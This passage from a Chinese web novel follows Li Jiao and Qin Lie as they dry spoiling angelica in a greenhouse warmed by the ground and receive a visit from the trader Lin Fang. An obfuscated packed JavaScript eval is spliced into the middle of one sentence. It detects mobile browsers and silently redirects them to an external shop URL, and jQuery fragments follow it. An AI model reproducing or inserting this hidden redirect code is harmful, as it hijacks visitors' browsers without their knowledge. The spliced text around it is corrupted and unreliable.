梨娇脸色一变,闻到一股酸腐的霉味儿,“完蛋了。”
这股味道很明显是当归堆里面开始发酵变质了。
梨娇急的眼圈都红了,在两堆药材中间团团转:“这下全完了,冻的冻死,捂的捂烂,这要是干不了,明天怎么交货?这可是几百块钱的本钱呢,还有那些打出去的白条……”
熬制紫云膏,最讲究的就是药材的干豆,含水量太高,不仅会让猪油炸锅,药效也根本熬不出来。
就在梨娇急得快要掉眼泪的时候,身后传来一阵拐杖点地的声音。
秦烈披着那件旧棉袄,艰难地挪到门口,他看了一眼满脸焦急,眼泪都要掉下来的小姑娘,主动伸出手把梨娇拉到避风处。
秦烈用粗糙的指腹擦了擦梨娇的眼角:“就这点事,把咱们的管家婆给急哭了?”
“这怎么能不着急啊?这可是咱们翻身的本钱啊。”
梨娇的声音里带着哭腔。
“老天爷赏饭吃,死不了的。”秦烈抬起拐杖指了指后院那片朱砂暖土,“那里温度不是刚刚好吗?你说下面有热气,咱们就利用这热气把药材给烘干。”
梨娇愣了一下,突然猛拍双手:“对哦,我怎么把后面这块地给忘了,而且咱们的大棚都搭起来一半了!”
说干就干,梨娇立马喊来大牛,让他听从秦烈的指挥。
“大牛,你先按照这条线挖沟,把里面的地气给引出来,然后把这个席子铺上去,别让药材粘土。”
“封顶之后,把那两个竹筒插在最高处做烟囱,排湿气。”
大牛虽然没什么学问,但是这脑子是真好使,就跟秦烈肚子里的蛔虫一样,秦烈说什么,他就能立马能明白。
不到10分钟,原本透明的塑料膜上就蒙上了一层白茫茫的水雾。
梨娇半信半疑的掀开帘子一角,刚探头钻进去,一股热浪瞬间扑面而来,暖得她差点打个哆嗦。
外面是零下十几度的冰天雪地,这棚里起码有30多度。
而且因为有地热源源不断的供给,这简直就是一个不需要烧煤,零成本的全天恒温烘干箱!
梨娇忍不住冲着他们俩竖起大拇指,然后赶紧把冻住和发热的当归摊平在竹席上面。
热气一蒸,那药材里的水分顺着顶部的气孔呼呼往外冒。
仅仅过了一上午,第1批铺进去的当归就已经表皮干爽,药香浓郁。
梨娇眼睁睁看着那满棚正在迅速变干的药材,激动的心都要跳出来了。
她转身跑出大棚,看着坐在门口椅子上,手里拿着树枝画图的秦烈,眼里的崇拜简直要溢出来了。
“秦烈!你真的好厉害呀,真是神了,这种办法你都能想得出来,还有什么是你不会的呀?”
梨娇像只欢快的小鸟一样飞扑过去,不顾地上还有些泥泞,直接蹲在他面前,仰起头看着他。
两人的姿势有些暧昧,秦烈坐在高处,梨娇蹲在他两腿之间,双手扒着他的膝盖,那双亮晶晶的眼睛里满是他。
秦烈看着梨娇这副满心满眼都是自己的模样,心头一热,眼底闪过一丝不易察觉的暗芒。
他微微垂下眼帘,长长的睫毛遮住了眼底的情绪,伸出手轻轻捶了捶自己那条打着石膏的伤腿,叹了口气。
声音低沉又带着一丝恰到好处的落寞:“我也就这点用处了,我这腿废了,干不了重活,也背不动你,只能动动脑子,帮你省点心。“
他的眼神里带着一丝脆弱的讨好,那下面暗藏的汹涌一点儿都没被梨娇瞧见。
“只要你不嫌弃我这个残废,只会耍嘴皮子就行。”
梨娇向来是个吃软不吃硬的性子,哪里受得了这个?
她一听到秦烈说自己是残废,心里就特别不得劲儿。
她赶紧直起身子,双手捧住他那张冷峻的脸凑过去,在他的脸颊上狠狠亲了一口,声音清脆又响亮。
“你以后要是再这么说自己,我、我就咬你!”
梨娇红着脸,眼神亮晶晶的,说完之后觉得自己刚才属实是有点太大胆,这旁边指不定冒出来个什么人,瞧见两人之间的互动……怕是又要骂什么伤风败俗了。
梨娇赶紧捂着发烫的脸颊,转身就跑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346145|199527||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去翻药材去了。
秦烈坐在原地,抬手摸了摸刚才被梨娇亲过的地方,那里仿佛还残留着她唇瓣的柔软和温热。
看着那个慌乱逃跑的身影,他脸上原本的落寞瞬间消失不见。
取而代之的是得逞的微笑。
经过一天的时间,那么多当归已经干了差不多有2/3,梨娇和秦烈还有大牛准备加个班熬个夜,把约定好的紫云膏做出来。
茅草屋外的路上突然传来了一阵突突突的引擎声。
这动静不是很大,听着像是故意压着油门。
过了没一会儿,听到了一阵急促又刻意放轻的敲门声。
大牛跑去开门,只见一个裹着厚棉大衣,把自己包得像个粽子似的人影,背着两个鼓鼓囊囊的巨大麻袋,鬼鬼祟祟的走了进来。
来人一进屋,扯下围着脸的围巾,露出一张冻得通红,却满脸精明的脸。
来人可不正是先前从200盒追加到300盒紫云膏的倒爷林放嘛!
“唉呦,你们这地方还真的是不太好找,我要不是跟刀疤打听了一下,我都不知道你们住在这儿。”
几人瞪大了眼睛。
梨娇率先开口:“这还没到交货时间呢吧,我们打算明早晨天还没亮之前给你送过去呢。”
“害,计划有变呢。”
林放一边跺着脚上的雪,一边把那两个沉甸甸的麻袋往炕上一倒。
哗啦啦,一阵清脆的碰撞声响起,麻袋里面滚出好多个亮晶晶的小东西。
梨娇凑近一看,眼睛顿时亮了起来。
全是蛤蜊油盒子,有的是用天然的贝壳打磨的,有的是那种圆形的铁皮小盒,看着精致又讨喜。
“你咋弄来这么多这种小盒子?”
“这不是上次从你那里包圆的盒子都回来的差不多了嘛,然后我又托关系连夜从南边搞了400个新的,一共600个,现在这玩意儿可真不好弄,我可是跑断了腿才凑齐的。”
听到林放说的话,梨娇脸上瞬间冒出了一丝警惕:“紫云膏可没有那么快用完,你该不会是想把这些盒子卖给我吧?”